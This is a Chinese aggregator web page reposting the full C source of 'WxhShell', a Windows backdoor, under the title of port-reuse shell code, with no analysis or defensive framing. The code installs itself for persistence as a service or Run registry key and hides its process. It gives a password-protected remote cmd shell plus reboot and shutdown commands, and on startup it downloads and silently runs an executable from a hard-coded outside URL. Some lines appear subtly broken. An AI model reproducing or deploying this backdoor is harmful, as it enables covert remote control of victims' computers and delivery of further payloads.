端口复用的WXHSHELL源代码

发布时间:2017-3-26 1:28:39 编辑:www.fx114.net 分享查询网我要评论
本篇文章主要介绍了"端口复用的WXHSHELL源代码",主要涉及到端口复用的WXHSHELL源代码方面的内容,对于端口复用的WXHSHELL源代码感兴趣的同学可以参考一下。

#include "stdafx.h" #include <stdio.h> #include <string.h> #include <windows.h> #include <winsock2.h> #include <winsvc.h> #include <urlmon.h> #pragma comment (lib, "Ws2_32.lib") #pragma comment (lib, "urlmon.lib") #define MAX_USER    100 // 最大客户端连接数 #define BUF_SOCK    200 // sock buffer #define KEY_BUFF    255 // 输入 buffer #define REBOOT    0    // 重启 #define SHUTDOWN    1    // 关机 #define DEF_PORT    5000 // 监听端口 #define REG_LEN    16    // 注册表键长度 #define SVC_LEN    80    // NT服务名长度 // 从dll定义API typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); // wxhshell配置信息 struct WSCFG { int ws_port;        // 监听端口 char ws_passstr[REG_LEN]; // 口令 int ws_autoins;      // 安装标记, 1=yes 0=no char ws_regname[REG_LEN]; // 注册表键名 char ws_svcname[REG_LEN]; // 服务名 char ws_svcdisp[SVC_LEN]; // 服务显示名 char ws_svcdesc[SVC_LEN]; // 服务描述信息 char ws_passmsg[SVC_LEN]; // 密码输入提示信息    int ws_downexe;      // 下载执行标记, 1=yes 0=no    char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"    char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }; // default Wxhshell configuration struct WSCFG wscfg={DEF_PORT,              "xuhuanlingzhe",              1,              "Wxhshell",              "Wxhshell",          "WxhShell Service",              "Wrsky Windows CmdShell Service",              "Please Input Your Password: ",              1,              "http://www.wrsky.com/wxhshell.exe",              "Wxhshell.exe"              }; // 消息定义模块 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; char *msg_ws_prompt="\n\r? for help\n\r#>"; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; char *msg_ws_ext="\n\rExit."; char *msg_ws_end="\n\rQuit."; char *msg_ws_boot="\n\rReboot..."; char *msg_ws_poff="\n\rShutdown..."; char *msg_ws_down="\n\rSave to "; char *msg_ws_err="\n\rErr!"; char *msg_ws_ok="\n\rOK!"; char ExeFile[MAX_PATH]; int nUser = 0; HANDLE handles[MAX_USER]; int OsIsNt; SERVICE_STATUS      serviceStatus; SERVICE_STATUS_HANDLE    hServiceStatusHandle; // 函数声明 int Install(void); int Uninstall(void); int DownloadFile(char *sURL, SOCKET wsh); int Boot(int flag); void HideProc(void); int GetOsVer(void); int Wxhshell(SOCKET wsl); void TalkWithClient(void *cs); int CmdShell(SOCKET sock); int StartFromService(void); int StartWxhshell(LPSTR lpCmdLine); VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VOID WINAPI NTServiceHandler( DWORD fdwControl ); // 数据结构和表定义 SERVICE_TABLE_ENTRY DispatchTable[] = {    {wscfg.ws_svcname, NTServiceMain},    {NULL, NULL} }; // 自我安装 int Install(void) { char svExeFile[MAX_PATH]; HKEY key; strcpy(svExeFile,ExeFile);    // 如果是win9x系统,修改注册表设为自启动    if(!OsIsNt) {      if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));        RegCloseKey(key);        if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {            RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));            RegCloseKey(key);            return 0;        }    }    }    else {      // 如果是NT以上系统,安装为系统服务      SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);      if (schSCManager!=0)      {        SC_HANDLE schService = CreateService        (            schSCManager,            wscfg.ws_svcname,            wscfg.ws_svcdisp,            SERVICE_ALL_ACCESS,            SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,            SERVICE_AUTO_START,            SERVICE_ERROR_NORMAL,            svExeFile,            NULL,            NULL,            NULL,            NULL,            NULL        );        if (schService!=0)        {            CloseServiceHandle(schService);            CloseServiceHandle(schSCManager);            strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");            strcat(svExeFile,wscfg.ws_svcname);            if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {              RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));              RegCloseKey(key);              return 0;          }        }        CloseServiceHandle(schSCManager);      }    }    return 1; } // 自我卸载 int Uninstall(void) { HKEY key;    if(!OsIsNt) {      if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {        RegDeleteValue(key,wscfg.ws_regname);        RegCloseKey(key);        if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {            RegDeleteValue(key,wscfg.ws_regname);            RegCloseKey(key);            return 0;        }      }    }    else {      SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);      if (schSCManager!=0)      {        SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);        if (schService!=0)        {            if(DeleteService(schService)!=0) {              CloseServiceHandle(schService);            CloseServiceHandle(schSCManager);              return 0;            }            CloseServiceHandle(schService);        }        CloseServiceHandle(schSCManager);      }    }    return 1; } // 从指定url下载文件 int DownloadFile(char *sURL, SOCKET wsh) { HRESULT hr;    char seps[]= "/";    char *token;    char *file;    char myURL[MAX_PATH];    char myFILE[MAX_PATH];    strcpy(myURL,sURL); token=strtok(myURL,seps);    while(token!=NULL) {    file=token;      token=strtok(NULL,seps); }    GetCurrentDirectory(MAX_PATH,myFILE);    strcat(myFILE, "\\");    strcat(myFILE, file); send(wsh,myFILE,strlen(myFILE),0);    send(wsh,"...",3,0);    hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); if(hr==S_OK)      return 0;    else      return 1; } // 系统电源模块 int Boot(int flag) { HANDLE hToken; TOKEN_PRIVILEGES tkp; if(OsIsNt) {      OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);    tkp.PrivilegeCount = 1;    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);      if(flag==REBOOT) {        if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))            return 0;      }      else {        if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))            return 0;      } } else {      if(flag==REBOOT) {        if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))            return 0;      }      else {        if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))            return 0;      }    }    return 1; } // win9x进程隐藏模块 void HideProc(void) { HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); if ( hKernel != NULL ) {      pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);    FreeLibrary(hKernel); }    return; } // 获取操作系统版本 int GetOsVer(void) { OSVERSIONINFO winfo; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&winfo); if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)    return 1; else    return 0; } // 客户端句柄模块 int Wxhshell(SOCKET wsl) { SOCKET wsh; struct sockaddr_in client; DWORD myID; while(nUser<MAX_USER)    {      int nSize=sizeof(client);    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);      if(wsh==INVALID_SOCKET) return 1;      handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);      if(handles[nUser]==0)        closesocket(wsh);      else        nUser++; } WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); return 0; } // 关闭 socket void CloseIt(SOCKET wsh) {    closesocket(wsh);    nUser--;    ExitThread(0); } // 客户端请求句柄 void TalkWithClient(void *cs) { SOCKET wsh=(SOCKET)cs; char pwd[SVC_LEN]; char cmd[KEY_BUFF];    char chr[1];    int i,j; while (nUser < MAX_USER) {      if(wscfg.ws_passstr) {     if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);        //ZeroMemory(pwd,KEY_BUFF);        i=0;        while(i<SVC_LEN) {            // 设置超时            fd_set FdRead;            struct timeval TimeOut;            FD_ZERO(&FdRead);            FD_SET(wsh,&FdRead);            TimeOut.tv_sec=8;            TimeOut.tv_usec=0;            int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);            if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);            if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);            pwd=chr[0];            if(chr[0]==0xd || chr[0]==0xa) {              pwd=0;              break;            }            i++;        }        // 如果是非法用户,关闭 socket        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);      }      send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);      send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);      while(1) {        ZeroMemory(cmd,KEY_BUFF);        // 自动支持客户端 telnet标准                j=0;        while(j<KEY_BUFF) {            if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);            cmd[j]=chr[0];            if(chr[0]==0xa || chr[0]==0xd) {              cmd[j]=0;              break;            }            j++;        }        // 下载文件        if(strstr(cmd,"http://")) {            send(wsh,msg_ws_down,strlen(msg_ws_down),0);            if(DownloadFile(cmd,wsh))              send(wsh,msg_ws_err,strlen(msg_ws_err),0);            else              send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);        }        else {          switch(cmd[0]) {                          // 帮助              case '?': {                send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);                break;              }              // 安装              case 'i': {                if(Install())                    send(wsh,msg_ws_err,strlen(msg_ws_err),0);                else                send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);                break;            }              // 卸载              case 'r': {                if(Uninstall())                    send(wsh,msg_ws_err,strlen(msg_ws_err),0);                else                    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);                break;            }              // 显示 wxhshell 所在路径              case 'p': {                char svExeFile[MAX_PATH];                strcpy(svExeFile,"\n\r");                  strcat(svExeFile,ExeFile);                send(wsh,svExeFile,strlen(svExeFile),0);                break;            }              // 重启              case 'b': {                send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);                if(Boot(REBOOT))                    send(wsh,msg_ws_err,strlen(msg_ws_err),0);                else {                    closesocket(wsh);                    ExitThread(0);                }                break;            }              // 关机              case 'd': {                send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);                if(Boot(SHUTDOWN))                    send(wsh,msg_ws_err,strlen(msg_ws_err),0);                else {                    closesocket(wsh);                    ExitThread(0);                }                break;            }              // 获取shell              case 's': {                CmdShell(wsh);                closesocket(wsh);                ExitThread(0);                break;              }           // 退出              case 'x': {                send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);                CloseIt(wsh);                break;            }              // 离开              case 'q': {                send(wsh,msg_ws_end,strlen(msg_ws_end),0);                closesocket(wsh);                WSACleanup();                exit(1);                break;            }            }        }        // 提示信息        if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);      } } return; } // shell模块句柄 int CmdShell(SOCKET sock) {    STARTUPINFO si;    ZeroMemory(&si,sizeof(si));    si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;    si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;    PROCESS_INFORMATION ProcessInfo;    char cmdline[]="cmd";    CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); return 0; } // 自身启动模式 int StartFromService(void) {    typedef struct    {      DWORD ExitStatus;      DWORD PebBaseAddress;      DWORD AffinityMask;      DWORD BasePriority;      ULONG UniqueProcessId;      ULONG InheritedFromUniqueProcessId;    }    PROCESS_BASIC_INFORMATION;    PROCNTQSIP NtQueryInformationProcess;    static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;    static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HANDLE          hProcess; PROCESS_BASIC_INFORMATION pbi; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); if(NULL == hInst ) return 0; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); if (!NtQueryInformationProcess) return 0; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); if(!hProcess) return 0; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CloseHandle(hProcess);    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);    if(hProcess==NULL)    return 0;    HMODULE hMod;    char procName[255];    unsigned long cbNeeded;    if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CloseHandle(hProcess);    if(strstr(procName,"services")) return 1; // 以服务启动 return 0; // 注册表启动 } // 主模块 int StartWxhshell(LPSTR lpCmdLine) { SOCKET wsl;    BOOL val=TRUE; int port=0; struct sockaddr_in door; if(wscfg.ws_autoins) Install();    port=atoi(lpCmdLine);    if(port<=0) port=wscfg.ws_port; WSADATA data; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); door.sin_family = AF_INET; door.sin_addr.s_addr = inet_addr("127.0.0.1"); door.sin_port = htons(port); if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {    closesocket(wsl);      return 1;    } if(listen(wsl,2) == INVALID_SOCKET) {      closesocket(wsl);      return 1;    } Wxhshell(wsl); WSACleanup();    return 0; } // 以NT服务方式启动 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {    DWORD    status = 0; DWORD    specificError = 0xfffffff; serviceStatus.dwServiceType    = SERVICE_WIN32; serviceStatus.dwCurrentState    = SERVICE_START_PENDING; serviceStatus.dwControlsAccepted    = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; serviceStatus.dwWin32ExitCode    = 0; serviceStatus.dwServiceSpecificExitCode = 0; serviceStatus.dwCheckPoint      = 0; serviceStatus.dwWaitHint      = 0; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); if (hServiceStatusHandle==0) return;    status = GetLastError(); if (status!=NO_ERROR)    {    serviceStatus.dwCurrentState    = SERVICE_STOPPED;    serviceStatus.dwCheckPoint      = 0;    serviceStatus.dwWaitHint      = 0;    serviceStatus.dwWin32ExitCode    = status;    serviceStatus.dwServiceSpecificExitCode = specificError;    SetServiceStatus(hServiceStatusHandle, &serviceStatus);    return; } serviceStatus.dwCurrentState    = SERVICE_RUNNING; serviceStatus.dwCheckPoint      = 0; serviceStatus.dwWaitHint      = 0; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); } // 处理NT服务事件,比如:启动、停止 VOID WINAPI NTServiceHandler(DWORD fdwControl) {    switch(fdwControl)    {      case SERVICE_CONTROL_STOP:        serviceStatus.dwWin32ExitCode = 0;        serviceStatus.dwCurrentState = SERVICE_STOPPED;        serviceStatus.dwCheckPoint    = 0;        serviceStatus.dwWaitHint    = 0;        {            SetServiceStatus(hServiceStatusHandle, &serviceStatus);        }        return;      case SERVICE_CONTROL_PAUSE:        serviceStatus.dwCurrentState = SERVICE_PAUSED;        break;      case SERVICE_CONTROL_CONTINUE:        serviceStatus.dwCurrentState = SERVICE_RUNNING;        break;      case SERVICE_CONTROL_INTERROGATE:        break;    }; SetServiceStatus(hServiceStatusHandle, &serviceStatus); } // 标准应用程序主函数 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {    // 获取操作系统版本    OsIsNt=GetOsVer();    GetModuleFileName(NULL,ExeFile,MAX_PATH); // 从命令行安装 if(strpbrk(lpCmdLine,"iI")) Install(); // 下载执行文件    if(wscfg.ws_downexe) {      if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)        WinExec(wscfg.ws_filenam,SW_HIDE);    }    if(!OsIsNt) {      // 如果时win9x,隐藏进程并且设置为注册表启动      HideProc();          StartWxhshell(lpCmdLine);    }    else      if(StartFromService())        // 以服务方式启动        StartServiceCtrlDispatcher(DispatchTable);      else        // 普通方式启动        StartWxhshell(lpCmdLine);    return 0; }        

上一篇:Ajax实现多级联动菜单
下一篇:职业规划

相关文章

相关评论

本站评论功能暂时取消,后续此功能例行通知。

一、不得利用本站危害国家安全、泄露国家秘密,不得侵犯国家社会集体的和公民的合法权益,不得利用本站制作、复制和传播不法有害信息!

二、互相尊重,对自己的言论和行为负责。

好贷网好贷款